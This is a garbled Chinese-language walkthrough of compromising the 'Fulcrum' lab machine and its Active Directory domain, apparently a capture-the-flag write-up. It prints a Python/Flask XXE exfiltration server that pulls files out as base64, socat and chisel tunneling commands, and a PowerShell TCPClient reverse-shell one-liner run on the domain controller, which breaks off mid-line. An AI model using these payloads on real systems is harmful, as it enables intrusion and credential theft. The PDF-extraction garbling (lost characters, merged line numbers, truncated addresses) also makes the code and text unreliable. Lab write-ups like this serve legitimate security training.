PAGEPAGE24域滲透實戰(zhàn)之fulcrum信息收集端?掃描?錄遍歷?錄暴?破解端?端?漏洞利?xxe漏洞?件泄露xxe?件讀取權限提升編寫腳本反彈獲取shell域滲透?絡枚舉翻配置?解密密碼隧道搭建查詢使?原進?枚舉上傳?具執(zhí)?命令獲取反彈信息收集端?掃描使?nmap進?端?掃描，發(fā)現(xiàn)存在?量端?開放接著去查看其版本和對應的服務Fuzz接?使?wfuzz對其url路徑后的參數(shù)進?枚舉?錄遍歷使??具進??錄枚舉，未發(fā)現(xiàn)有?的?錄接著去看服務，訪問端?為4的???錄暴?破解然后繼續(xù)對其進?爆破，發(fā)現(xiàn)存在home.php.然后嘗試進?上傳，發(fā)現(xiàn)沒法上傳成功88端?訪問88端?，發(fā)現(xiàn)存在phpadmin登錄界?嘗試弱?令登錄，沒有成功56423端?使?curl進?測試，發(fā)現(xiàn)有回顯漏洞利?xxe漏洞接著使?burp，然后抓包發(fā)現(xiàn)其存在xxe漏洞?件泄露然后使?xxe進?加載.dtd?件來讀取?件xxe?件讀取開啟http服務然后將讀取到的內(nèi)容進?解碼，成功獲取到讀取的內(nèi)容權限提升SSRF漏洞編寫腳本PlainText1 2importbase64importloggingimportreadlineimportrequestsimportthreadingimporttimefromflaskimportFlask,10log=logging.getLogger('werkzeug')13app=Flask( name )prev_data=16xml_template="""<?xmlversion="1.0"encoding="utf-8"?><!DOCTYPEdataSYSTEM\h"/dtd?fn={}">20@app.route("/dtd")defdtd():fn=request.args['fn'] returnf"""<!ENTITY%fileSYSTEM"php://filter/convert.base64-encode/resource={fn}"> <!ENTITY%all"<!ENTITYsendSYSTEM\h'/exfil?data=%file;'>">26 %all;"""2728@app.route("/exfil")defdata():globalprev_data b64data=request.args['data'].replace('','+')#Flasktriestodecodeitprint(b64data)print(len(b64data))data=base64.b64decode(b64data).decode().strip()ifdata!=prev_data:print(data)prev_data=datareturn404142 defweb():434344454647484950515253545556app.run(host="",port=80)if name ==" main ":threading.Thread(target=web,daemon=True).start()time.sleep(1)#app.run(debug=True,use_reloader=False,host="",port=80)whileTrue:try:fn=input("file>")xml=xml_template.format(fn)requests.post('2:56423',data=xml)exceptKeyboardInterrupt:print()反彈shell執(zhí)?腳本來反彈shell開啟http服務發(fā)現(xiàn)該腳本可以成功執(zhí)?命令解碼進?查看執(zhí)?ping之后的內(nèi)容使?nc進?反彈獲取shell成功獲取webshell查看?絡進程查看端?域滲透?絡枚舉上傳nmap，然后進?端?掃描，發(fā)現(xiàn)其存在5985端?翻配置?件發(fā)現(xiàn)存在config.inc.php，并發(fā)現(xiàn)了?戶名和密碼解密密碼隧道搭建PlainText1 ./socattcp-listen:60218,reuseaddr,forktcp:28:5985&2 ./chisel_1.9.1_linux_amd64server-p8000--reverse3 ./chisel_1.9.1_linux_amd64client9:8001PlainText1 ./socattcp-listen:60218,reuseaddr,forktcp:28:5985&2 ./chisel_1.9.1_linux_amd64server-p8000--reverse3 ./chisel_1.9.1_linux_amd64client9:8001R:socksPlainText1 ./socattcp-listen:55555,reuseaddr,forktcp:28:5985PlainText1 socattcp-listen:5985,reuseaddr,forktcp::55555然后在kali??配置prtoychains，然后進?連接測試Winrm獲取shell發(fā)現(xiàn)存在dc和laap的連接記錄LDAP查詢鑒于帳戶名稱和上?的注釋，查詢活動?錄域似乎是個好主意要從PowerShell查詢LDAP，我需要個DirectoryEntry對象這些對象被引?為System.DirectoryServices.DirectoryEntry,或ADSI有多種構造函數(shù)（創(chuàng)建對象的?法），但我將使?這個，因為它允許我傳遞?戶名和密碼搜索?戶使?PowerShell進?枚舉發(fā)現(xiàn)有8個?戶，它們?nèi)哭D(zhuǎn)儲并滾動瀏覽查詢域管理員上傳PowerView?具上傳腳本，然后執(zhí)?執(zhí)?命令PlainText1 PlainText1 .\c.execlient9:8000R:5985:32:5985隧道枚舉查看共享發(fā)現(xiàn)域管密碼獲取root.txt讀取到root.txt反彈shell執(zhí)?命令，然后使?nc來反彈shellPlainText1PlainText1 Invoke-Command-Computerdc.fulcrum.local-Credential$cred-scriptblock{$client=New-ObjectSystem.Net.Sockets.TCPClient('',53);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1|Out-String);$sendback2=$sendback+'PS